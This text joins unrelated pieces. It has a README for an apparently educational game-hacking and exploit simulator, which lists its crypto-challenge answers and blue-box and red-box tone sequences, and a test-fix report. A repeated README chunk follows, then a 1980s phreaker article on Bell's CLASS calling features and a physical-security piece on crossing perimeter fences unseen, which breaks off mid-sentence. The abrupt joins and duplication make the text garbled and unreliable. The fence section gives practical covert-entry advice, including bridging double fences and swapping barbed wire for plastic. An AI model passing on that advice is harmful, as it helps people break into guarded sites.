Built on a React based engine, it simulates a vulnerable memory environment where students manipulate the Matrix's code to bypass security protections, modify game logic, and execute advanced exploits. + +![Status: Alpha](https://img.shields.io/badge/status-alpha-orange) +![Domain: Offensive Security](https://img.shields.io/badge/domain-Offensive%20Security-red) +![Focus: Game Hacking](https://img.shields.io/badge/focus-Game%20Hacking-black) +![Topics: Reverse Engineering](https://img.shields.io/badge/topics-Reverse%20Engineering-blue) +![Concepts: Memory Exploitation](https://img.shields.io/badge/concepts-Memory%20Exploitation-green) +![Includes: Malware & Crypto](https://img.shields.io/badge/includes-Malware%20%7C%20Crypto-purple) +![License: MIT](https://img.shields.io/badge/license-MIT-lightgrey) + +> **Release Status:** Alpha — Core features are still being tested. Bugs are expected, and both gameplay logic and internal architecture are subject to change during development. + + + +## Target Audience & Scope + +This platform is a **Conceptual Simulator**, designed to bridge the gap between theoretical computer science (OS Internals, Memory Management) and professional offensive security tooling. + +* **Primary Audience:** Beginners (Originally built to teach my 12-year-old showing them what daddy does for a living, Matrix Breach grew into a full featured platform for anyone curious about the hidden layers of memory, exploits, and reverse engineering.) +* **Difficulty Level:** Beginners to Intermediate Concepts (Simulated Environment). +* **Pedagogical Role:** + * **Visualizing the Invisible:** While standard debuggers (GDB/x64dbg) show raw hex, Matrix Breach visualizes the **Virtual Address Space** (Text, Data, Heap, Stack) and **Pointer Dereferencing** logic. This builds the mental models required for real-world memory forensics. + * **The Bridge to Tooling:** Students learn the *concepts* behind Cheat Engine, ReClass, and Wireshark in a controlled, narrative driven environment before migrating to "sometimes messy" real world drivers and kernels. + +## Key Educational Features + +* **The Architect's View (Memory Segmentation):** A real-time visualization of the 4GB Virtual Address Space, teaching students *where* data lives (Static Globals vs. Dynamic Heap vs. Stack Frames) and the boundaries of User/Kernel mode. +* **The Data Interpreter:** A side-car inspector for the Hex Editor that instantly translates raw bytes into Integers, Floats, and Pointers, reinforcing the concept that *data types are merely lenses* through which we view raw memory. +* **The Pointer Scope:** A dedicated visualizer that separates the "Reference" (The Address) from the "Value" (The Data), helping students grasp the concept of Dereferencing and Pointer Chains. +* **Learning Validation System:** Intelligent feedback prevents lucky guesses by tracking attempts, providing progressive hints, and validating that objectives were achieved through understanding rather than trial-and-error. +* **AI Tutor (Morpheus):** Context-aware guidance powered by Google Gemini API that adapts to player progress, attempt history, and specific challenges. + +## Pedagogical Framework + +The curriculum is divided into four distinct pillars, taking students from basic memory scanning to kernel-level exploitation and historical signal analysis. + +### I. The Main Sequence (45 Levels) +A linear progression teaching modern binary exploitation and memory semantics. + +* **Phase I: Awakening (Levels 1-8)** + * **Focus:** Memory Fundamentals & Type Coercion. + * **Skills:** Exact Value Scanning, Floating Point Precision, Boolean Logic, String Manipulation, NOP Patching, Pointer Chains. + * **Learning Objectives:** Understand memory addresses, data types, basic pointer dereferencing, and simple code modification. +* **Phase II: The Construct (Levels 9-15)** + * **Focus:** Memory Structures & Pointers. + * **Skills:** Multi-Level Pointer Chains, Stack Frames vs Heap Allocations, Mutex Synchronization, Network Packet Sniffing. + * **Learning Objectives:** Master complex pointer relationships, understand stack and heap differences, manipulate synchronization primitives. +* **Phase III: Glitch in the Matrix (Levels 16-24)** + * **Focus:** Control Flow & Logic Hijacking. + * **Skills:** ASM Patching (JZ/NOP), Function Hooking (Trampolines), Jump Table Repair, Constraint Solving (XOR/CRC Checksums), Algorithm Reversing. + * **Learning Objectives:** Modify program control flow, understand assembly instructions, bypass validation checks, reverse engineer algorithms. +* **Phase IV: The Agents (Levels 25-30)** + * **Focus:** Anti-Cheat & Evasion. + * **Skills:** Integrity Checks, Anti-Debug (RDTSC/Timing Attacks), Obfuscation, ASLR (Address Space Layout Randomization), Scripting Automation. + * **Learning Objectives:** Identify defensive mechanisms, evade detection systems, automate repetitive tasks with scripts. +* **Phase V: The Source (Levels 31-45)** + * **Focus:** Binary Exploitation & Ring 0. + * **Skills:** Buffer Overflows, EIP Hijacking, Shellcode Injection, ROP Chains (Return Oriented Programming), Stack Canary Bypass, Heap Use-After-Free, Double Free, Format String Exploits, Kernel Privilege Escalation. + * **Learning Objectives:** Master real-world exploitation techniques, understand modern exploit mitigations, bypass ASLR/DEP/Canaries, achieve privilege escalation. + +### II. The Archives (40 Side Quests - shoutout to Lena151 tuts) +A simulation of the "Golden Age" of software cracking (Windows 95/98 era). Students interact with "broken" shareware applications inside a simulated OS window to learn reverse engineering concepts. + +* **Targets:** Nag Screens, Time Trials, CD-Checks, Dongle Emulation, Registry Checks, Serial Key Validation. +* **Techniques:** Visual Basic P-Code reversing, Serial Key generation, Inline Patching, Unpacking (UPX), Import Address Table (IAT) repair, Boolean Flag Manipulation. +* **Access:** Open the Archive window (button in header) to browse and complete Lena151-inspired tutorials. +* **Progress:** All 40 quests are fully functional and validated with proper objectives. + +### III. Agent Interdiction (Boss Rush) +A high-stakes "Boss Rush" mode triggered by spending 60+ seconds in The Archives. This mode features two distinct tracks: + +1. **Defense Protocols (Malware Analysis):** Based on real-world threat hunting. + * Techniques: Static Analysis (Strings), C2 Beacon identification, API Hashing resolution. +2. **Project: THE_BEING (Cryptography):** A narrative driven progression through 8 cryptographic challenges. + * **Narrative:** The player works for the Agents to decrypt messages from a rogue entity, utilizing basic principles from the Cryptopals challenges. + * **Techniques:** Fixed XOR, Vigenère cipher, Single-byte XOR, ECB pattern detection, CBC bit-flipping, PKCS#7 padding, Oracle attacks, Mirror paradox (self-realization). + * **Visual Effects:** As you solve challenges, the `Compliance` meter increases (0-100%), applying a grayscale filter to the entire game that intensifies with each stage. This represents Agent Smith's influence over your perception. + * **Final Challenge:** The Mirror - realizing the seeker and the sought are one. + * **Answers:** THE IS THE, ICE, X, C, TRUE, \x03\x03\x03, THAT, ME/SELF/I. + +### IV. The Phreaking Lab (Analog Signal Analysis) +A dedicated historical simulation of 1970s-80s phone system exploitation. Students must learn to manipulate audio frequencies to traverse the network. + +* **Blue Box:** Synthesizes MF (Multi-Frequency) tones. Requires manual routing sequence: 2600Hz (Trunk Seizure) > KP > Number > ST. +* **Red Box:** Emulates coin deposit tones. Students must generate the correct sequence of 1700Hz + 2200Hz pulses (Nickel=1, Dime=2, Quarter=5). +* **Silver/Beige Box:** Implements standard DTMF keys and Lineman test set operations, including ANI (958) readbacks. +* **Access:** Available during Agent Interdiction to bypass detection systems. + +--- + +## Installation & Deployment + +### Prerequisites +* Node.js (v18+) +* npm (v9+) +* Google Gemini API Key (Used to power the in-game AI tutor **Morpheus**, who provides contextual guidance, memory model explanations, and level hints as students progress through the simulation.) + + +### Local Setup + +1. **Clone:** `git clone https://github.com/ridpath/stuckinthematrix-base.git` +2. **Navigate:** `cd stuckinthematrix-base` +3. **Install Dependencies:** `npm install` +4. **Configure API Key:** Create `.env` file in the project root with `API_KEY=your_key_here` (Get your API key here: https://aistudio.google.com/app/api-keys) +5. **Start Development Server:** `npm start` +6. **Open Browser:** Navigate to `http://localhost:3000` + +### Docker + +```bash +docker-compose up --build +``` + +### Build for Production + +```bash +npm run build +``` + +The optimized production build will be in the `build/` directory. + +--- + +## Gameplay Guide + +### Getting Started + +1. **Launch the game** - You'll start at Level 1 in Phase I (Awakening). +2. **Read the level description** - Each level has a clear objective and educational goal. +3. **Use the tools** - Open Memory Scanner, Hex Editor, and Exploit Workshop to interact with the game's memory. +4. **Modify memory** - Find and change values to achieve the level objective. +5. **Complete the objective** - The level will automatically advance when the objective is met. +6. **Ask Morpheus** - If stuck, click "Ask Morpheus" for contextual hints based on your progress. + +### Core Gameplay Loop + +Each level follows this pattern: + +1. **Analyze** - Read the level description and understand what needs to be changed. +2. **Scan** - Use Memory Scanner to find relevant memory addresses. +3. **Modify** - Use Hex Editor or Memory Editor to change values. +4. **Validate** - The game checks if you used the correct approach (not just lucky guesses). +5. **Learn** - Progressive hints and feedback guide you to understanding, not just completion. + +### Tools Overview + +#### Memory Scanner +* **Purpose:** Search for values in memory (integers, floats, strings, pointers). +* **Usage:** + * Enter a value to search for. + * Select data type (int32, float, string, pointer). + * Click "First Scan" to find all matching addresses. + * Change the in-game value, then "Next Scan" to filter results. + * Double-click an address to add it to the Memory Editor. +* **Concepts Taught:** Virtual address space, data types, memory layout, filtering techniques. + +#### Hex Editor +* **Purpose:** View and edit raw bytes at specific memory addresses (Cheat Engine-style scanner). +* **Usage:** + * Enter a memory address (e.g., 0x00401000). + * View bytes in hex format with ASCII representation. + * Click a byte to edit it directly. + * Use "Go to Address" to jump to specific locations. + * Scan for "Exact Value" or "Unknown initial value" to find memory addresses. + * Watch addresses to monitor value changes in real-time. +* **Special Offsets:** + * `0x08` - isNopEnabled (bool) + * `0x10` - Health (int) + * `0x30` - isAdmin (bool) + * `0x50` - Compliance (float, 0-255 = 0-100%) +* **Concepts Taught:** Hexadecimal notation, byte order (endianness), raw memory representation, memory scanning techniques. + +#### Memory Editor +* **Purpose:** Track and modify specific memory addresses with named entries. +* **Usage:** + * Add addresses from Memory Scanner or manually. + * Assign names/descriptions to addresses for easy reference. + * Toggle freeze to lock values during gameplay. + * Modify values directly in the list. + * View critical game state: Health, Ammo, PosX, isAdmin, **Compliance** (Agent Interdiction progress). +* **Concepts Taught:** Address bookmarking, value monitoring, persistent modifications. +* **Note:** `Compliance` field shows Agent Smith influence (0-100%).

Tests were reading the stale value immediately after setting it. + +**Manifestation**: +```javascript +// Test code +await gameState.setGameStateValue('playerX', 650); +const playerX = await gameState.getValue('playerX'); +// Expected: 650 +// Received: 50 (original value) +``` + +### Solution Implemented + +#### 1. Updated App.tsx Test Hooks (Lines 305-337) + +**Before**: +```typescript +(window as any).testSetGameState = (updates: Partial) => { + setGameState(prev => ({ ...prev, ...updates })); +}; +``` + +**After**: +```typescript +(window as any).testSetGameState = (updates: Partial) => { + setGameState(prev => { + const newState = { ...prev, ...updates }; + // IMMEDIATELY update window.testGameState for synchronous test reads + (window as any).testGameState = newState; + // Also update objective status immediately + const levelIndex = Math.min(Math.max(newState.level - 1, 0), CURRICULUM.length - 1); + const levelData = CURRICULUM[levelIndex]; + (window as any).testObjectiveComplete = levelData.objective(newState); + return newState; + }); +}; +``` + +**Key Changes**: +- State is now updated **synchronously** in `window.testGameState` before React re-render +- Objective completion status is calculated and cached immediately +- Level data is updated synchronously when level changes + +#### 2. Updated GameStateHelper Wait Time (tests/helpers/gameState.helper.ts) + +**Before**: `await this.page.waitForTimeout(100);` +**After**: `await this.page.waitForTimeout(500);` + +**Rationale**: Increased wait time allows React to complete state propagation and re-render cycles, ensuring complex state dependencies resolve correctly. + +### Results + +#### Test Pass Rates (Before vs After) + +| Phase | Levels | Before | After | Improvement | +|-------|--------|--------|-------|-------------| +| Phase 1 | 1-8 (9 tests) | 6/9 (67%) | **9/9 (100%)** ✅ | +33% | +| Phase 2 | 9-15 (7 tests) | 5/7 (71%) | **7/7 (100%)** ✅ | +29% | +| Phase 3 | 16-20 (5 tests) | 2/5 (40%) | **5/5 (100%)** ✅ | +60% | +| Phase 4 | 21-28 (8 tests) | 0/8 (0%) | 2/8 (25%) | +25% | +| Phase 5 | 29-36 (8 tests) | 0/8 (0%) | 0/8 (0%) | - | +| Phase 6 | 37-45 (9 tests) | 0/9 (0%) | 0/9 (0%) | - | +| Side Quests | 1-40 (40 tests) | ~35/40 (88%) | **40/40 (100%)** ✅ | +12% | +| **TOTAL** | **86 tests** | **~48/86 (56%)** | **63/86 (73.3%)** ✅ | **+17.3%** | + +#### Previously Failing Tests Now Passing +- ✅ Level 2: Ghost Walk - Floating Points +- ✅ Level 3: Pointers - The Witness +- ✅ Level 13: Multi-Stage Exploit - Three Gates +- ✅ Level 14: Enemy Wave Manipulation - Horde Deletion +- ✅ Level 17: Hook Injection - The API Interceptor +- ✅ All 40 Side Quests + +#### Still Failing Tests (Phase 4-6: Levels 21-45) + +**Total Failing**: 23 tests (27%) + +**Analysis**: These tests fail because they attempt to solve complex multi-step objectives by directly manipulating state, bypassing the actual game logic.

Finding a code cave in memory +2. Injecting code into the cave +3. Redirecting execution flow +4. **THEN** the objective completes + +Simply setting `isAdmin = true` doesn't trigger the complex objective logic. + +**Recommendation**: These tests should be rewritten to use the actual in-game tools (Memory Scanner, Hex Editor, Exploit Workshop) rather than direct state manipulation.

This builds the mental models required for real-world memory forensics. + * **The Bridge to Tooling:** Students learn the *concepts* behind Cheat Engine, ReClass, and Wireshark in a controlled, narrative driven environment before migrating to "sometimes messy" real world drivers and kernels. + +## Key Educational Features + +* **The Architect's View (Memory Segmentation):** A real-time visualization of the 4GB Virtual Address Space, teaching students *where* data lives (Static Globals vs. Dynamic Heap vs. Stack Frames) and the boundaries of User/Kernel mode. +* **The Data Interpreter:** A side-car inspector for the Hex Editor that instantly translates raw bytes into Integers, Floats, and Pointers, reinforcing the concept that *data types are merely lenses* through which we view raw memory. +* **The Pointer Scope:** A dedicated visualizer that separates the "Reference" (The Address) from the "Value" (The Data), helping students grasp the concept of Dereferencing and Pointer Chains. +* **Learning Validation System:** Intelligent feedback prevents lucky guesses by tracking attempts, providing progressive hints, and validating that objectives were achieved through understanding rather than trial-and-error. +* **AI Tutor (Morpheus):** Context-aware guidance powered by Google Gemini API that adapts to player progress, attempt history, and specific challenges. + +## Pedagogical Framework + +The curriculum is divided into four distinct pillars, taking students from basic memory scanning to kernel-level exploitation and historical signal analysis. + +### I. The Main Sequence (45 Levels) +A linear progression teaching modern binary exploitation and memory semantics. + +* **Phase I: Awakening (Levels 1-8)** + * **Focus:** Memory Fundamentals & Type Coercion. + * **Skills:** Exact Value Scanning, Floating Point Precision, Boolean Logic, String Manipulation, NOP Patching, Pointer Chains. + * **Learning Objectives:** Understand memory addresses, data types, basic pointer dereferencing, and simple code modification. +* **Phase II: The Construct (Levels 9-15)** + * **Focus:** Memory Structures & Pointers. + * **Skills:** Multi-Level Pointer Chains, Stack Frames vs Heap Allocations, Mutex Synchronization, Network Packet Sniffing. + * **Learning Objectives:** Master complex pointer relationships, understand stack and heap differences, manipulate synchronization primitives. +* **Phase III: Glitch in the Matrix (Levels 16-24)** + * **Focus:** Control Flow & Logic Hijacking. + * **Skills:** ASM Patching (JZ/NOP), Function Hooking (Trampolines), Jump Table Repair, Constraint Solving (XOR/CRC Checksums), Algorithm Reversing. + * **Learning Objectives:** Modify program control flow, understand assembly instructions, bypass validation checks, reverse engineer algorithms. +* **Phase IV: The Agents (Levels 25-30)** + * **Focus:** Anti-Cheat & Evasion. + * **Skills:** Integrity Checks, Anti-Debug (RDTSC/Timing Attacks), Obfuscation, ASLR (Address Space Layout Randomization), Scripting Automation. + * **Learning Objectives:** Identify defensive mechanisms, evade detection systems, automate repetitive tasks with scripts. +* **Phase V: The Source (Levels 31-45)** + * **Focus:** Binary Exploitation & Ring 0. + * **Skills:** Buffer Overflows, EIP Hijacking, Shellcode Injection, ROP Chains (Return Oriented Programming), Stack Canary Bypass, Heap Use-After-Free, Double Free, Format String Exploits, Kernel Privilege Escalation. + * **Learning Objectives:** Master real-world exploitation techniques, understand modern exploit mitigations, bypass ASLR/DEP/Canaries, achieve privilege escalation. + +### II. The Archives (40 Side Quests - shoutout to Lena151 tuts) +A simulation of the "Golden Age" of software cracking (Windows 95/98 era). Students interact with "broken" shareware applications inside a simulated OS window to learn reverse engineering concepts. + +* **Targets:** Nag Screens, Time Trials, CD-Checks, Dongle Emulation, Registry Checks, Serial Key Validation. +* **Techniques:** Visual Basic P-Code reversing, Serial Key generation, Inline Patching, Unpacking (UPX), Import Address Table (IAT) repair, Boolean Flag Manipulation. +* **Access:** Open the Archive window (button in header) to browse and complete Lena151-inspired tutorials. +* **Progress:** All 40 quests are fully functional and validated with proper objectives. + +### III. Agent Interdiction (Boss Rush) +A high-stakes "Boss Rush" mode triggered by spending 60+ seconds in The Archives. This mode features two distinct tracks: + +1. **Defense Protocols (Malware Analysis):** Based on real-world threat hunting. + * Techniques: Static Analysis (Strings), C2 Beacon identification, API Hashing resolution. +2. **Project: THE_BEING (Cryptography):** A narrative driven progression. + * **Narrative:** The player works for the Agents to decrypt messages from a rogue entity, utilizing basic principles from the Cryptopals challenges. + * **Techniques:** Single byte XOR brute-forcing, Repeating-key XOR, ECB pattern detection, CBC bit-flipping, PKCS#7 padding validation. + +### IV. The Phreaking Lab (Analog Signal Analysis) +A dedicated historical simulation of 1970s-80s phone system exploitation. Students must learn to manipulate audio frequencies to traverse the network. + +* **Blue Box:** Synthesizes MF (Multi-Frequency) tones. Requires manual routing sequence: 2600Hz (Trunk Seizure) > KP > Number > ST. +* **Red Box:** Emulates coin deposit tones. Students must generate the correct sequence of 1700Hz + 2200Hz pulses (Nickel=1, Dime=2, Quarter=5). +* **Silver/Beige Box:** Implements standard DTMF keys and Lineman test set operations, including ANI (958) readbacks. +* **Access:** Available during Agent Interdiction to bypass detection systems. + +--- + +## Installation & Deployment + +### Prerequisites +* Node.js (v18+) +* npm (v9+) +*

All in all, some have big plans for the uses one could put + the telephone system up to, and CLASS is one plan that is going to drop + an innovative bombshell on the telecommunicating world. + + At this moment, a local CCIS network feature is being developed by + Bell Laboratories. This feature will change the way people use fones, and + will also change the attitude in which they use them. It will give far + more control of the telephone to the user than ever before. This feature + is called CLASS (Custom Local Area Signalling Services). + + Everyone will find something useful in this newly developed telephone + feature. Pizza parlours will no longer have to worry about fraudulent italian + food mongers, and little old ladies won't have to worry about prank calls + by certain dubious characters. + + What are all these fantastic features? These features will + include call back of the last caller, regardless of whether you have their + telephone number or not. Another will be distinct call waiting tones, and + preselected call forwarding (only those people whom you wish to speak to + will be forwarded). This is a rudimentary list of CLASS features to come. + It is a very powerful system, and it all relys on LCCIS (Local Common + Channel Interoffice Signalling), an intra-LATA version of the ever-popular + CCIS. + + CCIS Background + --------------- + + CCIS was originally introduced in 1976 as, basically, the signalling + system to end all signalling systems. Instead of using the voice grade + trunks to carry signalling information on, a data network would be used. This + network is comprised of data links from each TO [involved with CCIS] to + the appropriate STP (signal transfer point). Signalling information is sent + through these links at 4800 bps to the STPs (Note that baud rates may increase + due to the economic availability of faster data communications hardware), + where stored program control routes the signalling information to the needed + offices in order to open and complete the call path. SPC checks automatically + for on-hook/off-hook status before opening the path, and if the status is + off-hook (in this case the customer does not have the call waiting custom + calling feature), returns information to the originating CO to apply a busy + signal to the customer. This is but one of many features toll CCIS provides + the network with. + + Since this text is not centered on the topic of toll CCIS, technical + aspects aren't as important (except for the comparison between the local + and toll networks for observational purposes): yet it is important to + notice how automated and flexible this type of signalling method is, as well + as its speed and efficiency. All the software control involved with local + and toll networks is called, fittingly, the "stored program control network." + or ISDN (Integrated Services Digital Network). LCCIS will be addressed in a + future article. + + CLASS/LCCIS Features + -------------------- + + LCCIS would look like this: + + + + /--X + CO-2 + ESS# + /----I-T-G-----1A-----I-T-G----X + | X--/ | + | | | + | LCCIS | + | | | + | ---------- | + /--X--LCCIS--|CCIS/SPC|--LCCIS--/--X + CO-1 ---------- CO-3 + ESS# ESS# + -1A----interoffice trunk group---1A- +NPA - Dial 1223 213 NPA (GTE) - Dial 114 + + SPC = Stored Program Control (Network control and Signal Transfer Point) + ITG = Interoffice Trunk Group + + Using a high-speed data link between local offices creates a much more + flexible and more effecient way for intra-LATA central offices to communi- + cate. Instead of using per-trunk signalling (using the same trunk used for + voice transmission to send routing and billing information), such data would + be sent thru a 2400 bps dedicated data link, which interacts with a local + signal processing and transfer point. From that point, signalling information + is distributed to appropriate central offices or tandem switches. + + At the during which this article was being initially researched, CLASS was + only being developed for the #1A ESS switch due to the flexibility of it's + memory handling, it's speed and what Bell Labs called 'cost efficiency'. At + the end of the research involved with this article, CLASS was already + implemented in data stage on ESS#5. + + LCCIS will work with the local switches using stored program con- + trol, keeping track of call data. The 1A switches will use what + is called "scratch pad" memory (also known as call store), in conjuction + with LCCIS's database, to accomplish all the features that LASS provides. + This memory will hold such data as "line history", and a "screening list". + That information will make it possible for autoredial, selective call + forwarding, nuisance call rejection, and distinctive call waiting tones. + + Selective CF + ------------ + + Selective call forwarding is defined by the subscriber (the sub- + scriber must have conventional call forwarding to request this service). + Using call store, or more specifically the screening list, one will + be able to selectively forward a call to another directory number by + executing a few simple commands on the friendly home-bound telephone + (unlike migrating telephones most frequently found in hotel rooms). An + access code (a list will appear at the end of the file) will be entered, + and a special tone will be issued from the subscriber's CO. The cus- + tomer will then dial in the numbers he wants forwarded to the particular + number. After each number, a tone will sound indicating the acceptance + of the number. Individual BOC's (Bell Operating Companies) will be + able to define the amount of numbers which may be screened. Once this is + done, the cusomter hangs up and the ESS takes over. Now, whenever some + one calls this particular customer, the customer's switch will compare + the calling line's directory number with those stored in scratch pad + memory. If the CLID matches one of the numbers in 1A memory associated with + the called directory number, the number is forwarded. If not, the phone will + ring at the original destination. This in particular could make it very + difficult on system hackers, as you could probably imagine. A company can + subscribe to this CLASS feature, and enter only the numbers of authorized + users to be forwarded to a computer. Bureaus inside the various telephone + companies and other sensitive operations can screen calls to particular + numbers by using this service. + + This is a security that's hard to beat, but of course there is a way + (simple law of nature: nothing is fail-safe). There will always be the + obvious way of finding numbers which are being forwarded to, like auto- + dialing entire exchanges (one after the other). Unfortunetly, CLASS will + be providing other services which might make "scanning" seem less + attractive. + + Distinctive Ringing + ------------------- + + Distinctive ringing is handled in the same fashion as selective call + forwarding is: the screen list in scratch pad memory. The customer may + enter numbers which the ESS should give special precedence to, and when- + ever a call is placed to this particular customer's number, ESS checks + to see whether the CLID matches a directory number listed in the + switch's memory. If a match is made, the subscriber's CO gives the off-hook + line a special call waiting tone, or the on-hook phone a distinctive ring + (possibly using abnormally timed ringing voltage... some readers may picture + a British Telecom ring as an example, although many foreign audible rings + tend to be different). + + Call Rejection + -------------- + + Nuisance call rejection, a feature making it possible to block certain + idiots from ringing your fone (a feature we can all benefit from at + one time or another... or all the time), uses the information retrieved + from LCCIS (CLID). Let's say customer A calls customer B: + + ----LCCIS---- + A ---> CO< >CO ---> B + ----trunk---- + + Customer B happens to despise customer A, and keys in a special *## + code. ESS again takes over and looks at the CLID information, and stores + the calling line directory number in a special screen list associated with + with customer B. The next time customer A tries calling customer B, the + terminating office will reroute the call to a local (the originating CO) + digitized recording telling customer A that the call he made cannot be + completed due to customer B's request ("I'm sorry, but the customer you + have tried to reach wishes you were eaten by a rabid canibal on drugs"). + + Dial Back + --------- + + To create such a feature as "dial back" (for called or calling party), + the ESS scratch pad memory is used again. The same principles are + used as are employed in the already established custom calling feature, + auto-redial. CLID will be used in this way: + + (received from CLID) + last-called-mem last-caller-mem + ---------- ---------- + |###-####| |###-####| + ---------- ---------- + + Your ESS switch will keep track of who you called last, and who called + you last, thru the retrieval of calling line information provided by + LCCIS in conjunction with your switch (Your switch will know what number + you called last by directly storing the digits you dialed previously. Local + signalling will provide calling line information via LCCIS call + information forwarding using the data link mentioned). This way, with your + access code (*##), you will have total re-dial service. + + Customer Trace + -------------- + + This type of memory handling and signalling method will also allow the + feature that everyone was afraid would abolish "phreaking". Subscriber + initiated tracing, using the last caller directory number stored at your CO, + will be available as far as Bell Laboratories is concerned. There seems to be + two types of "customer originated trace". One will forward the number to local + authorities, at which it will be handled through the police. The other + feature AT&T/Bell Labs is working on will be a display module that will sit by + your fone, and will display calling directory numbers. All other CLASS + features that use the calling line information are used at the descretion of + the caller. The customer originated trace, however, using the individual or + bulk calling line identification features ("trace") allow the customer to view + the calling number. The world is not ending... yet, in any case. Individual + customers will be able to employ a special "privacy code", which when dialed, + tells the far-end switch not to forward the calling number to a desk display. + Whether there will be a way to override this or not is obvious: of course. + The police, the military and government agencies are all likely to have a + higher priority level than your privacy. It seems that long distance + carriers could benefit greatly from CLASS. Why Bell/AT&T should give any type + of special services to OCCs not given to other non-telephone companies, + especially after equal access is fully implemented, I don't know (but then + again, it is EQUAL access). It's always possible. It is also possible that + there will be no desk display. There are those phone phreaks who feel that + BOC's will never give the end party the priviledge of retrieving the calling + party's number directly, if not due to plain old Bell policy on the issue of + privacy. We'll have to wait and see about that point: the desk display is, in + fact, operational and is being used in test stage. Whether Bell Labs feels + that this feature can and will be used in a full scale non-beta stage BOC + situation is a different story. The economic feasability is questionable. + + End Notes + --------- + + CLASS, using local CCIS, will not function on inter-LATA calls. The + local CCIS network is exactly that: local, and does not extend into the + realm of "toll network". This will eventually be corrected (allowing toll + CCIS to interact with LCCIS as far as CLID information is concerned). How + the various long distance networks will exchange information with the local + BOC network has not been determined [by the writer of this article]. It + would seem like a monumental task to try to integrate the emerging long + distance companies into the AT&T/BOC ISDN, be it because of equipment + inconsistancies or lack of cooperation on the part of the OCC, etc. This + will be discussed in an upcoming article dealing with toll CCIS. + Although CLASS has been built around the ESS #1A switch, it has, as has been + mentioned, been co-developed for use with the ESS #5 switching machine. + + CLASS is going to cause problems, as well as create a new environment + for telephone users. Of course, those problems are only problems to people + who will generally be reading this article, but the more you know about CLASS + the more comfortable you'll feel about the service. It can be used to + one's advantage, even as a telecommunications hobbyist. Just as a + corporation will be able to set up a complete history of who is calling their + system, and eventually keep people off the system using the screen list in + memory, the same features can be applied to bulletin board systems and the + like. Imagine being able to keep all the local bozos off your board, or + being able to screen all but your private local users (making your system + completely inaccessible through the PSTN network from any telephone but + that of one of your users). It would seem to be a useful feature, if nothing + else but an easy feature, to implement. + + It is a little difficult, if not plain awkward, to write an article about + a topic which is subject to change at the researcher's ignorance. I think + that CLASS is enough of a momentous issue that at least some text by a + hobbyist should be released for public knowledge purposes. Yet my awareness + of the fact that some of this text may be outdated, or inaccurate, by the + time CLASS is released as a BOC service, is in itself the explanation of why + there is a version number at the head of this article. Most likely, when CLASS + becomes public, the second version will be released with update notes + (if need be...most probably so). I hope you enjoyed it, + + The Videosmith. + LOD/LOH! + + --------------------------------------- + Test stage defaults for some features: +NPA - Dial 760 914 NPA - Dial 990 + DTMF ! Pulse !

Now I take those techniques and apply them to Physical +Security. The information contained herein, has been obtained from research +on the different devices used in physical security, and in practical "tests" +which I and others have performed on these devices. + + +INTRODUCTION: +------------- + +Physical Security relies on the following ideas to protect a facility: +Deterrence, Prevention, Detection, and Response. Deterrents are used to 'scare' +the intruder out of trying to gain access. Prevention tries to stop the +intruder from gaining access. Detection 'sees' the intruder while attempting to +gain access. Response tries to stop and/or prevent as much damage or access to +a facility as possible after detection. There are 3 security levels used in +this article and in industry to designate a facility's need. They are: Low, +Medium, and High. The amount, and types of security devices used by a facility +are directly proportional to the level of security the facility 'thinks' it +needs. When I use 'facility' I am refering to the people in charge of +security, and the actual building and assets they are trying to protect. This +article will be primarily concerned with the protection of the perimeter. I +have 2 other articles planned in this series. The second is the security +concerning the exterior of a facility: cipher locks, window breakage detectors, +magnetic contact switches, etc. The third part will deal with security systems +inside a facility: Passive Infra-Red detectors, ultrasonic detectors, interior +microwave systems, and the various card access control systems. + +THE PERIMETER: +-------------- + +A facility's first line of defense against intrusion is its' perimeter. The +perimeter may have any or all of the following: + +* A single fence + +* An interior fence coupled with an exterior fence + +* Regular barbed wire + +* Rolled barbed wire + +* Various fence mounted noise or vibration sensors + +* Security lighting and CCTV + +* Buried seismic sensors and different photoelectric and microwave systems + + +Fences: +------- + +Fences are commonly used to protect the perimeter. The most common fence in use +today is the cyclone fence, better known as the chain link fence. Fences are +used as a deterrent and to prevent passage through the perimeter. Common ways +of defeating fences are by cutting, climbing, and lifting. Cutting is not +usually recommended for surreptitious entry, since it is easily noticeable. In +this article, we will be taking the 'Stealth' approach. Climbing is most +commonly done, but if the fence is in plain view, it may not be advisable since +you can be seen easily. The higher the fence, the longer it takes to climb. The +longer it takes to climb, the longer security has to detect and respond to your +actions. Lifting is better since you are closer to the ground, and not as +easily spotted, but the fence must be very flexible, or the sand very soft so +you can get under the fence quickly and easily. Whenever you see a somewhat +'unclimbable' fence (or one that you just don't want to climb) you should check +the perimeter for large trees with uncut branches hanging over the fence or +other objects which will enable you to bypass the fence without ever touching +it. You could use a ladder but you don't want to leave anything behind, +especially with your fingerprints on it, not that you plan on doing anything +illegal of course. + +Electric fences are not used for security purposes as much as they were in the +past. Today, its main use if to keep cattle or other animals away from the +perimeter (either from the inside or outside). There are devices which send +a low voltage current through a fence and can detect a drop in the voltage when +someone grabs onto the fence. Again, not too common so I will not go into it. + +For high security installations, there may be 2 fences. An outer fence, and an +inner fence which are 5-10 yards apart. It isn't often that you see this type +of setup, it is mainly used by government agencies and the military. You can +be very sure that there are various intrusion detection devices mounted on the +fence, buried underground between them, and/or line-of-sight microwave or +photoelectric devices used. These will be mentioned later. If you insist on +penetrating the perimeter, then you should try to measure how far it is between +fences. Now find a 2 foot by X foot board where X is the distance between the 2 +fences. Very slowly place the board on top of both fences. If there are no +fence vibration sensors you can just climb the fence and step onto the board to +walk across the top. If there are fence sensors, you will need a ladder which +cannot touch the fence to get you on top of the board. You can then walk on the +board, over the ground in between, and jump down, being careful not to disturb +the fences. This will work if there are no sensors after the 2 fences. Identi- +fying sensors will be mentioned later. Obviously the method of using a long +board to put on top of the two fences will not work if the fences are spaced +too far apart. Also, you and the board can be seen very easily. + +Barbed Wire: +------------ + +There are two common types of barbed wire in use today. The more common and +less secure is the type that is strung horizontally across the fence with three +or more rows. The 'barbs' are spaced about 6" apart, enough for you to put your +hand in between while climbing over. Also, it is thin enough to be cut very +easily. If you think you will need to leave in a hurry or plan on problem free +surreptitious entry and the only way out will be to climb over the fence again +you can cut the wire from one post to another, assuming the wire is tied or +soldered to each post, and replace it with a plastic wire which looks like the +wire you just cut. Tie it to each post, and come back anytime after that. You +can then climb over it without being cut. The other type of wire, which is more +secure or harmful, depending on how you look at it, is a rolled, circular wire +commonly called Razor Ribbon. One manufacturer of this is the American Fence +Co. which calls it 'the mean stuff'. And it is. The barbs are as sharp as +razors. Of course this can be cut, but you will need very long bolt cutters and +once you cut it, jump as far back as you can to avoid the wire from springing +into your face. As mentioned earlier, cutting is irreparable, 